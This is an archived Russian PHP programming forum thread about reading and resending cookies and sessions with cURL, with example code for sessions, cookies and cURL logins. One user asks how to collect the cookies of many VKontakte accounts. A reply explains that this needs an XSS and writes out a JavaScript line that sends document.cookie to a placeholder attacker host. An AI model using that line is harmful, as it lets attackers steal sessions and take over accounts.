Просмотр полной версии : Получить куки [php]
bad_signal
10.12.2008, 22:24
Здравствуйте.
Встала задача зайти на сайт 2раза при помощи PHP.
В первый раp мне нужно зайти и получить какие-то данные, которые я смогу вписать при втором заходе.
Тобиш куки или сессии.
Каким образом это можно осуществить?
Если можно, то выложите кусочек кода.
preda1or
10.12.2008, 22:29
Сессии
<?php
// page1.php
session_start();
echo 'Welcome to page #1';
$_SESSION['favcolor'] = 'green';
$_SESSION['animal'] = 'cat';
$_SESSION['time'] = time();
echo '<br /><a href="page2.php">page 2</a>';
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>
<?php
// page2.php
session_start();
echo 'Welcome to page #2<br />';
echo $_SESSION['favcolor']; // green
echo $_SESSION['animal']; // cat
echo date('Y m d H:i:s', $_SESSION['time']);
echo '<br /><a href="page1.php">page 1</a>';
?>
$lol = curl_init('http://mail.ru');
curl_setopt($lol, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($lol, CURLOPT_COOKIE,$cookie);
$pol = curl_exec($lol);
preda1or
10.12.2008, 22:30
Cookies:
<?php
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", ".utoronto.ca", 1);
echo $TestCookie;
echo $_COOKIE["TestCookie"];
?>
session_start();
if(!isset($_SESSION['temp'])) {
$_SESSION['temp'] = 'true';
} else {
echo $_SESSION['temp'];
unset($_SESSION['temp']);
}
2preda1or, скрипт отобразит инфу после релойда страницы, т.к сначала браузер получит куки, но не передаст на сервер :)
2остальным, не путайте сессии с cookie. Файлы сессий хранятся на сервере, а печеньки на стороне клиента.
astrologer
11.12.2008, 00:42
Файлы сессий хранятся на сервере, а печеньки на стороне клиента. А идентификатор сессии, как правило, в печеньках...
ТС спросил как получить, а не как написать скрипт который создает сессии или устанавливает куки. ТС куки приходят в заголовке SetCookie ответа после первого обращения к серверу. Прарсим заголовки, сохраняем установленные плюшки, дальше как написал 159932.
код примерно такой:
$url='http://site.ru/index.php';
//задаем урл
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER,1);
$temp=curl_exec($ch);
curl_close($ch);
//отправляем CURLом get запрос и сохраняем ответ в $temp
$cookie_pattern="|Set\-Cookie\:\s(.*);\sdomain|";
preg_match_all($cook_pattern, $temp, $out);
$cookie='Cookie: '.$out[1][0];
//парсим куки из ответа и присваиваем переменной $cookie значение установленных плюшек
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
$temp=curl_exec($ch);
curl_close($ch);
//засылаем CURLом плюшки обратно
Но.
Сервер плюшки обычно ставить только после каких либо действий, например авторизации. Для того, чтобы залогиниться нужно будет отправить POSTом (обчно это пост) логин и пасс (ну как минимум) в первом запросе. Тогда его код изменится на :
$post_data='login=vasya&pass=trucoder';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HEADER,1);
$temp=curl_exec($ch);
curl_close($ch);
Для полного ответа задай правильно вопрос, что именно тебе нужно сделать.
bad_signal
11.12.2008, 17:33
Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
.:EnoT:.
11.12.2008, 17:46
Ответ на вопрос здесь дал только .:nbd:., остальные чисто понты гоняют или вопрос плохо поняли)
Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
собственно в примере .:nbd:. переменная $temp и будет содержать код полученной страницы.
bad_signal
11.12.2008, 18:14
спс, решил проверить
$res = curl_exec($ch1);
echo $res;
но не выводит почемуто код
Design_Corn
11.12.2008, 23:28
Встала такая похожая задача, не буду создавать новую тему.
Нужно зайти на сайт вывести с него капчу.
Затем через пост, я ввожу капчу.
Затем нужно что бы эта капча передалась на тот сайт.
Т.е. мне не нужно терять сессию между вводом капчи.
Как мне сделать таковое?
Раз данный топик по теме как получить куки, подскажите пожалуйста каки образом можно осушествить что скрипт сам получил куки и записал их в фаил, нужно чтоб скрипт получил куки с Вконтакте, руками получается так когда авторизированы javascript:document.write(document.cookie) нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки. Заранее спасибо
Design_Corn
12.12.2008, 15:14
lol100
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
groundhog
12.12.2008, 15:23
lol100, ты вообще в курсах что такое куки как их готовят и едят?
...нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки...
Получить куки владельцев аккаунта можно только если скрипт запущен на сервере VKONTAKTE, тогда ты сможешь и в файл их записать и т.д. Ну или же если ты найдёшь какую-то XSS и выполнишь JavaScript код на стороне браузера владельца аккаунта VKONTAKTE, но JavaScript не умеет писать в файл, тебе придётся редиректить на какой-то другой внешний скрипт, который будет писать куки в файл:
document.location = 'http://evilhost.ru/evilscript.php?var=' + document.cookie
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot